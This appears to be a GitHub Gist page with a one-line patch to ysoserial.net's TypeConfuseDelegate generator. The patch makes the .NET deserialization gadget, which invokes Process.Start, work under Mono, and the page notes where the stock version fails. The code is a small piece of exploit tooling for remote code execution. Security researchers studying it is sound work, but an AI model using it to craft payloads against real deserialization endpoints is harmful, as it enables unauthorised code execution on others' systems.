Created
October 6, 2019 21:04
-
-
Save denandz/aa2b7bd145c95b430cfc0386a9e6ce40 to your computer and use it in GitHub Desktop.
Use Forshaw's TypeConfuseDelegate deserialization gadget with Mono - for ysoserial.net
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
diff --git a/ysoserial/Generators/TypeConfuseDelegateGenerator.cs b/ysoserial/Generators/TypeConfuseDelegateGenerator.cs | |
index 96bbea0..0f83ffa 100755 | |
--- a/ysoserial/Generators/TypeConfuseDelegateGenerator.cs | |
+++ b/ysoserial/Generators/TypeConfuseDelegateGenerator.cs | |
@@ -46,6 +46,7 @@ namespace ysoserial.Generators | |
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance); | |
object[] invoke_list = d.GetInvocationList(); | |
// Modify the invocation list to add Process::Start(string, string) | |
+ invoke_list[0] = new Func<string, string, Process>(Process.Start); | |
invoke_list[1] = new Func<string, string, Process>(Process.Start); | |
fi.SetValue(d, invoke_list); | |
@@ -53,4 +54,4 @@ namespace ysoserial.Generators | |
} | |
} | |
-} | |
\ No newline at end of file | |
+} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Delegate.c:548 in
mcs/class/corlib/System/Delegate.cs
is where the stock version errors out: